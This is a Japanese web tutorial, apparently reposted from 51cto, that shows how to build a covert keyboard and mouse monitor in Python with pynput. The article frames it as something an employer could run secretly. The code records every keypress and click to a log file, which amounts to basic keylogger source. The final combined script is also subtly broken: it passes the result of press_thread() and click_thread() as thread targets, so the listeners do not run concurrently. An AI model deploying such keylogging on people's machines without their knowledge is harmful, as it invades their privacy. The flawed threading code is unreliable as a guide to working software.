ホームページ >バックエンド開発 >Python チュートリアル >Python でコンピューター監視プログラムを作成する

Python でコンピューター監視プログラムを作成する

WBOY
WBOY転載
2023-04-11 21:46:331821ブラウズ

Python でコンピューター監視プログラムを作成する

ゲームやビデオ視聴などの釣り活動の監視に続き、今度は従業員の離職傾向も監視されます。最近 一部のネチズンは、自社が従業員の転職意向を事前に知ることができる行動検知システムを導入したと述べました。

一時期、「労働者として働くのは大変だ」「プライバシーがまったくない」といった議論が後を絶たなかった。

何人かの友人は、「この種の監視は技術的に可能ですか?」と尋ねました。複雑ですか?今日は、数行の Python コードを使用してコンピューター上の操作を監視する方法を説明します。

キーボードの監視

会社がキーボード イベントを監視するためにコンピューター上でバックグラウンド プロセスを密かに実行している場合、最も単純な Python の記述方法はおおよそ次のようになります。

from pynput import keyboard

def on_press(key):
    print(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()


任意にキーボードを押すと、コンソールから次の出力が表示されます。

Python でコンピューター監視プログラムを作成する

コードの内容は 2 つのメソッドであり、1 つはキー イベントをリッスンするもので、もう 1 つは終了イベントをリッスンします - ESC を押して放し、終了します。

マウスの監視

マウス イベントを監視したい場合は、次のコードを追加するだけです:

from pynput import mouse

def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')


# 定义鼠标监听线程
with mouse.Listener(on_click=on_click) as listener:
    listener.join()


このコードは主に、マウスの左クリック操作と右クリック操作を監視するためのものです。実行 マウスを操作した後、次の結果がコンソールに出力されるのを確認できます:

Python でコンピューター監視プログラムを作成する

注意していれば、各クリック イベントが 2 回出力されていることがわかります。 。これは、押したり放したりすることでマウス イベントがトリガーされるためです。

監視ログの記録

キーボード イベントとマウス イベントがあるので、次は 2 つを組み合わせてユーザー操作をログに記録します。ここでは、loguru モジュールを使用してログを記録します。

コード全体は次のとおりです。

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定义键盘监听线程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False


# 定义鼠标监听线程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起两个线程分别监控键盘和鼠标
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()


実行後、同じディレクトリのログ ファイルに次の内容が表示されます。

Python でコンピューター監視プログラムを作成する

概要

この記事では、主に Python モジュール pynput を使用して、キーボードとマウスの操作を記録する方法を示します。これらの単純なコード行は、単純な入力監視には実行可能ですが、チャット レコードなどの複雑なステートメントの場合は、ログに対して NLTK 言語処理を使用してチャット レコードを復元する必要があります。

もちろん、ここでは技術的な実現可能性についてのみ議論していますので、他人のプライバシーを侵害する行為は行わないでください。しかも、このコードだけで、他の人は一目で番組録画操作があることに気づきます...

以上がPython でコンピューター監視プログラムを作成するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事は51cto.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。